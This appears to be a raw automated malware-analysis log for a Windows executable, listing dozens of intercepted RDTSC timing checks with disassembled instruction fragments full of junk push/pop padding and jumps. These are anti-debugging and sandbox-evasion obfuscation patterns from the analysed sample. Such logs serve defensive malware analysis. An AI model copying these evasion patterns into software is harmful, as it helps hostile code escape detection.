Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6AA0D9 second address: 6AA0F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FE1C0B69E3Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6AA0F1 second address: 6AA0FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6AA22C second address: 6AA23B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jne 00007FE1C0B69E3Eh 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6AA38C second address: 6AA39A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6AA39A second address: 6AA39E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6AA39E second address: 6AA3A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6AA3A8 second address: 6AA3AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6AC724 second address: 6AC728 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6AC728 second address: 6AC770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ecx 0x0000000c jmp 00007FE1C0B69E3Bh 0x00000011 pop ecx 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007FE1C0B69E46h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d pushad 0x0000001e jmp 00007FE1C0B69E3Fh 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6AC770 second address: 6AC774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6AC774 second address: 6AC7B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop eax 0x0000000b mov edx, dword ptr [ebp+122D2AB3h] 0x00000011 add dword ptr [ebp+122D3A99h], ecx 0x00000017 lea ebx, dword ptr [ebp+12441537h] 0x0000001d mov dword ptr [ebp+122D3AC7h], edx 0x00000023 mov cx, ax 0x00000026 xchg eax, ebx 0x00000027 pushad 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6AC7B0 second address: 6AC7C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b popad 0x0000000c push eax 0x0000000d push edi 0x0000000e js 00007FE1C0EF51ECh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CD9ED second address: 6CD9FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007FE1C0B69E36h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CD9FC second address: 6CDA02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CDA02 second address: 6CDA12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007FE1C0B69E36h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CDA12 second address: 6CDA37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FE1C0EF51F5h 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CDA37 second address: 6CDA3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CDA3C second address: 6CDA61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE1C0EF51F0h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FE1C0EF51ECh 0x0000000f popad 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CB7EA second address: 6CB7EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CB7EE second address: 6CB804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE1C0EF51E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push esi 0x0000000e jnp 00007FE1C0EF51ECh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CB804 second address: 6CB80B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CBD16 second address: 6CBD28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a je 00007FE1C0EF51E6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CBFD5 second address: 6CC004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jnp 00007FE1C0B69E36h 0x0000000e popad 0x0000000f jmp 00007FE1C0B69E3Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 jmp 00007FE1C0B69E3Fh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CC004 second address: 6CC00A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CC2BD second address: 6CC2C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CC2C2 second address: 6CC2C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CC75C second address: 6CC776 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E45h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CCA9D second address: 6CCAA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CCAA3 second address: 6CCACA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c jc 00007FE1C0B69E36h 0x00000012 pop ebx 0x00000013 jmp 00007FE1C0B69E44h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CCACA second address: 6CCAE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0EF51F0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CCAE0 second address: 6CCAE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CD2DF second address: 6CD2E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CD2E3 second address: 6CD2ED instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE1C0B69E36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CD452 second address: 6CD45A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CD45A second address: 6CD485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push edi 0x00000007 jnc 00007FE1C0B69E38h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FE1C0B69E48h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CD88E second address: 6CD894 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CD894 second address: 6CD898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6CD898 second address: 6CD89C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D0CB2 second address: 6D0CB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D0E1D second address: 6D0E34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D0E34 second address: 6D0E53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E40h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D0E53 second address: 6D0E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FE1C0EF51F7h 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D0E7C second address: 6D0E82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D0E82 second address: 6D0E86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D0E86 second address: 6D0EA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d jg 00007FE1C0B69E38h 0x00000013 pushad 0x00000014 push eax 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D109D second address: 6D10A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D4729 second address: 6D472F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D472F second address: 6D474B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007FE1C0EF51F2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D7DEA second address: 6D7E01 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FE1C0B69E3Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6A183D second address: 6A1841 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D7437 second address: 6D743E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D743E second address: 6D7451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007FE1C0EF51E6h 0x0000000c jno 00007FE1C0EF51E6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D7451 second address: 6D7475 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E45h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE1C0B69E3Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D7475 second address: 6D74A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE1C0EF51F1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE1C0EF51EDh 0x00000014 push eax 0x00000015 push edx 0x00000016 jns 00007FE1C0EF51E6h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D74A7 second address: 6D74C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE1C0B69E46h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D7643 second address: 6D765B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007FE1C0EF51E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007FE1C0EF51ECh 0x00000012 jnl 00007FE1C0EF51E6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D765B second address: 6D7665 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE1C0B69E42h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D7918 second address: 6D792D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EBh 0x00000007 jne 00007FE1C0EF51E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D792D second address: 6D794A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FE1C0B69E48h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D7AD6 second address: 6D7ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D7ADA second address: 6D7AE0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D7AE0 second address: 6D7AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D7AEA second address: 6D7B01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FE1C0B69E36h 0x0000000a jno 00007FE1C0B69E36h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D7C54 second address: 6D7C62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D7C62 second address: 6D7C68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D7C68 second address: 6D7C6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D7C6D second address: 6D7C79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D9CE4 second address: 6D9CE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6D9CE8 second address: 6D9CEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DC781 second address: 6DC78B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DC78B second address: 6DC78F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DC806 second address: 6DC81B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jg 00007FE1C0EF51E6h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DC81B second address: 6DC825 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FE1C0B69E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DC825 second address: 6DC839 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE1C0EF51E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DC839 second address: 6DC851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE1C0B69E3Bh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FE1C0B69E36h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DC851 second address: 6DC855 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DC855 second address: 6DC89C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a pushad 0x0000000b jne 00007FE1C0B69E36h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 jmp 00007FE1C0B69E3Ch 0x00000019 popad 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e jnp 00007FE1C0B69E3Ch 0x00000024 pushad 0x00000025 push edi 0x00000026 pop edi 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a pop eax 0x0000002b sub dword ptr [ebp+122D1B35h], edi 0x00000031 push D17C847Eh 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a ja 00007FE1C0B69E36h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DC89C second address: 6DC8A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DC8A0 second address: 6DC8A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DC8A6 second address: 6DC8AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DCC0B second address: 6DCC0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DCCD4 second address: 6DCCDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DCCDA second address: 6DCCE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FE1C0B69E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DCEB4 second address: 6DCEB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DCEB8 second address: 6DCEBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DD4A6 second address: 6DD4EE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007FE1C0EF51E8h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 mov esi, edi 0x00000025 nop 0x00000026 jmp 00007FE1C0EF51F8h 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DD4EE second address: 6DD4F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe RDTSC instruction interceptor: First address: 6DD4F2 second address: 6DD4F8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
